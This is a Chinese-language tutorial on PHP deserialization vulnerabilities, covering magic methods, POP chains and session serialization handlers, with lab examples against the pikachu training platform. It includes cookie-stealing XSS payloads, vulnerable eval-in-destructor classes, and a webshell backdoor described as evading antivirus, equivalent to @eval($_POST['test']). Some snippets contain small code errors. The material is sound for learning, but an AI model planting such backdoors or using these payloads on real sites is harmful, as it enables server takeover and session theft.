1、 漏洞简介
PHP 反序列化漏洞是指在 PHP 代码中存在的对用户输入数据进行反序列化操作时,未对输入数据进行充分验证和过滤,导致攻击者可以构造恶意的序列化数据,从而在服务器端执行任意代码或进行其他恶意操作的安全漏洞
2、 漏洞影响范围
影响范围可能包括但不限于以下几个方面:
-
服务器端应用程序:PHP 反序列化漏洞可能导致服务器端应用程序受到攻击,攻击者可以执行任意代码、获取敏感信息、修改数据等。
-
用户数据安全:攻击者可以通过构造恶意的序列化数据,将恶意代码注入到用户提交的数据中,从而在服务器端执行任意代码,可能导致用户数据泄露或被篡改。
-
服务器安全:PHP 反序列化漏洞可能导致服务器本身受到攻击,攻击者可以通过执行任意代码获取服务器权限,进一步入侵其他系统或进行其他恶意活动。
3、 漏洞详解
3.1 序列化
将对象的状态信息转化为可存储或传输的形式
1.表达方式
class Test { public $flag = "flag{*****}"; public $name = "lang"; public $age = 10; } $test1 = new Test(); $test1->flag = true; $test1->name = "zhnag"; $test1->age = 20; // 序列化 echo serialize($test1); // out :O:4:"Test":2:{s:4:"flag";b:1;s:4:"name";s:5:"zhnag";}
2.魔术方法
-
serialize() 函数会检查类中是否存在一个魔术方法 sleep()。如果存在,sleep()方法会先被调用,然后才执行序列化操作。
-
可以在sleep()方法里决定哪些属性可以被序列化。如果没有sleep()方法则默认序列化所有属性
<?php class Test { public $flag = "flag{*****}"; public $name = "lang"; public $age = 10; // __sleep() 方法决定哪些属性可以被序列化 public function __sleep() { return array('flag', 'name'); } } $test1 = new Test(); $test1->flag = true; $test1->name = "zhnag"; $test1->age = 20; // 序列化 echo serialize($test1); // out :O:4:"Test":2:{s:4:"flag";b:1;s:4:"name";s:5:"zhnag";} ?>
3.2 访问控制修饰符
根据访问控制修饰符的不同 序列化后的 属性长度和属性值会有所不同
<?php class Test { // 访问控制修饰符的不同 序列化后的 属性长度和属性值会有所不同 public $flag = "flag{*****}"; protected $name = "lang"; private $age = 10; // __sleep() 方法决定哪些属性可以被序列化 public function __sleep() { return array('flag', 'name', 'age'); } } $test1 = new Test(); $test1->flag = true; // 保护和私有属性不能改变 // $test1->name = "zhnag"; // $test1->age = 20; // protected属性被序列化的时候属性值会变成 %00*%00属性名 %00*%00flag // private属性被序列化的时候属性值会变成 %00类名%00属性名 %00Test%00name // %00为空白符,空字符也有长度,一个空字符长度为 1 // 序列化 echo serialize($test1); // O:4:"Test":3:{s:4:"flag";b:1;s:7:"*name";s:4:"lang";s:9:"Testage";i:10;} // O:4:"Test":3:{s:4:"flag";b:1;s:7:"%00*%00name";s:4:"lang";s:9:"%00Test%00age";i:10;} ?>
3.3 反序列化
1.表达方式
反序列化函数 unserialize()。反序列化就是将一个序列化了的对象或数组字符串,还原回去
class Test { public $flag = "flag{*****}"; public $name = "lang"; public $age = 10; } $test1 = new Test(); $test1->flag = true; $test1->name = "zhnag"; $test1->age = 20; // 反序列化 $str = serialize($test1); // 反序列化函数unserialize()。反序列化就是将一个序列化了的对象或数组字符串,还原回去 var_dump(unserialize($str)); // output // object(Test)#2 (3) { ["flag"]=> bool(true) ["name"]=> string(5) "zhnag" ["age"]=> int(20) } /* object(Test)#2 (3) { ["flag"]=> bool(true) ["name"]=> string(5) "zhnag" ["age"]=> int(20) } */
class test { public $a = 'langlang'; protected $b = 666; private $c = false; public function displayVariable() { echo $this->a; } } $d = new test(); // var_dump($d) // 序列化 // echo serialize($d); $a = 'O:4:"test":3:{s:1:"a";s:4:"lang";s:4:"%00*%00b";i:888;s:7:"%00test%00c";b:0;}'; // 解码 $x = urldecode($a); // 反序列化 // var_dump(unserialize($x)); $c = unserialize($x); $c->displayVariable(); // echo urlencode($d) // $a = urlencode($d); // $b = unserialize(urldecode($a)); // var_dump($b)
2.魔术方法
class Test
{
public $flag = "flag{*****}";
public $name = "lang";
public $age = 10;
/*
与序列化函数类似,unserialize()会检查类中是否存在一个__wakeup魔术方法
如果存在则会先调用__wakeup()方法,再进行序列化
可以在__wakeup()方法中对属性进行初始化、赋值或者改变
*/
public function __wakeup()
{
$this->flag = "no flag";
}
}
$test1 = new Test();
$test1->flag = true;
$test1->name = "zhagsan";
$test1->age = 20;
// 反序列化
$str = serialize($test1);
// 反序列化函数unserialize()。反序列化就是将一个序列化了的对象或数组字符串,还原回去
echo '<pre>';
var_dump(unserialize($str));
// output
/*
object(Test)#2 (3) {
["flag"]=>
string(7) "no flag"
["name"]=>
string(7) "zhagsan"
["age"]=>
int(20)
}
*/
3.4 反序列化 POP 链
-
能控制的数据就是对象中的各个属性值
-
漏洞利用方法“面向属性编程”,完成类与类之间的调用
-
组件调用组件,其实就是魔术方法(wakeup(),sleep())
3.5 漏洞触发条件
-
unserialize 函数的参数
-
变量可控
-
php 文件中存在可利用的类
-
类中有魔术方法
3.6 魔术方法
// 常见的几个魔法函数: __construct()当一个对象创建时被调用 __destruct()当一个对象销毁时被调用 __toString()当一个对象被当作一个字符串使用 __sleep() 在对象在被序列化之前运行 __wakeup()将在序列化之后立即被调用 // 1. 漏洞举例: class S{ var $test = "pikachu"; function __destruct(){ echo $this->test; } } $s = $_GET['test']; @$unser = unserialize($a); // 2. 构造对对象 class S { var $test = "<script>alert(document.cookie)</script>"; } $t = new S(); echo serialize($t); // payload:O:1:"S":1:{s:4:"test";s:29:"alert(document.cookie)</script>";}
而在反序列化时,如果反序列化对象中存在魔法函数,使用 unserialize()函数同时也会触发。这样,一旦我们能够控制 unserialize()入口,那么就可能引发对象注入漏洞
3.7 测试
构造序列化数据:
class S{ var $test="<script>alert('php')</script>"; } $t=new S(); echo serialize($t); // 序列化后的内容 // O:1:"S":1:{s:4:"test";s:29:"";} // 查看源码,脚本在序列化内容里面 // O:1:"S":1:{s:4:"test";s:29:"<script>alert('php')</script>";} // 平台测试
测试结果:
-
_destruct() 当一个对象被销毁时被调用
class Example { var $var = ''; function __destruct() { eval($this->var); } } unserialize($_GET['a']); $obj = new Example(); $obj->var='phpinfo()'; var_dump(serialize($obj)); // O:7:"Example":1:{s:3:"var";s:9:"phpinfo()";}
连菜刀、反序列化免杀后门
class A { var $test = "demo"; function __destruct() { @eval($this->test); } } $test = $_POST['test']; $len = strlen($test) + 1; // 构造序列化对象,用我们POST传过去的命令代码字符串覆盖$test="demo",从而执行恶意命令。 $pp = "O:1:\"A\":1:{s:4:\"test\";s:" . $len . ":\"" . $test . ";\";}"; // 反序列化同时触发_destruct函数 $test_unser = unserialize($pp); // 以上代码相当于一行代码 <?php @eval($_POST['test']); ?>
连接菜刀
-
_toString() 如果在代码审计中有反序列化点,但是在原本的代码中找不到 pop 链该如何? N1CTF 有一个无 pop 链的反序列化的题目,其中就是找到 php 内置类来进行反序列化 (1)xss error exception 类 测试代码:
<?php $a = unserialize($_GET['y']); // 仅看到是一个反序列化,但是不知道类啊,这就遇到了一个反序列化但没有pop链的情况,所以只能找到php内置类来进行反序列化 echo $a; ?>
exp:
// Error $a = new Error("<script>alert('xxxphp')</script>"); // Exception // $a = new Error("<script>alert('xxxphp')</script>"); echo urlencode(serialize($a)); echo
成功插入 xss,并执行代码
3.8 PHP 中 Session 反序列化
1.存储机制 默认
<?php session_start(); // session_start()会创建新会话或者重用现有会话 $_SESSION['name'] = 'spoock'; var_dump(); ?>
2.php_serialize
<?php ini_set('session.serialize_handler', 'php_serialize'); // 设置序列化引擎使用php_serialize session_start(); // 启动新会话或者重用现有会话 $_SESSION['name'] = 'spoock'; var_dump(); ?>
3.php_binary
<?php ini_set('session.serialize_handler', 'php_binary'); session_start(); $_SESSION['name'] = 'spoock'; var_dump(); ?>
4.Session 漏洞利用
class Test{ var $func=""; function __construct(){ $this->func="phpinfo()"; } function __wakeup(){ eval($this->func); } } unserialize($_GET['a'])
在 unserialize($_GET['a'])行对传入的参数进行了反序列化。我们可以通过传入一个特定的字符串,反序列化为 Test 的一个示例,那么就可以执行 eval()方法。我们访问 http://pikachu/vul/unserilization/sessions.php?a=O:4:%22Test%22:1:{s:4:%22func%22;s:14:%22echo%20%22spoock%22;%22;} 。
最后页面输出的就是 spoock,说明最后执行了我们定义的 echo “spoock”;方法